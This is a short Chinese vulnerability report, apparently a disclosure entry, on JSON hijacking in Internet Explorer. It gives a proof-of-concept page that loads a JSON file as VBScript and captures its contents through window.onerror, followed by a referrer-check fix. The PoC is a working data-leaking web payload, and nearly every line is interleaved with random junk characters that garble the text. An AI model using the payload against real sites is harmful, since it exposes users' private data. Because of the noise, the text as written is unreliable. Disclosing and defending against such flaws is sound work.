简要描述:4 G- |; Q v6 \1 y. w
1 k% I; {" l6 y. m由于某些资源容器对数据处理不当导致json劫持漏洞.
( O0 {# ?" w+ @6 \7 I3 {7 X详细说明:
: h: F% \+ I: Z9 w# |0 o由于ie支持vbscript,所以script元素可以指定成vbscript语言:/ ~9 r8 S# F( ^6 a) M
<script language=vbscript></script>
* K4 F6 \" I8 \) A 6 A* R% h% R% b6 V9 F& `
当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.7 U; I; L L9 X9 j% R0 A
漏洞证明:8 a# X+ k9 x2 P
<script>
. u% J1 X, P# E) z; o0 l! owindow.onerror=function(_){
0 \2 J( ?3 z7 E2 E9 talert(_)/ K4 L1 ]- f: `9 L
}. B8 I" z6 P/ n8 ~$ e$ A
</script>2 b- J# ^9 o1 o
<script language=vbscript src=1.json></script>
* z8 Q4 b, k" @6 S & E* R9 V9 e& ~ y5 r1 @
) ?0 s/ h3 \& ?; z
1.json:
% v& ?; c2 C4 _$ D[{"name":"sogili","age":19}], n8 D* g* [' j5 p5 k
修复方案:$ P+ @9 f X G- z
网站业务对于这个问题可以通过验证referrer是否为同源来防御 |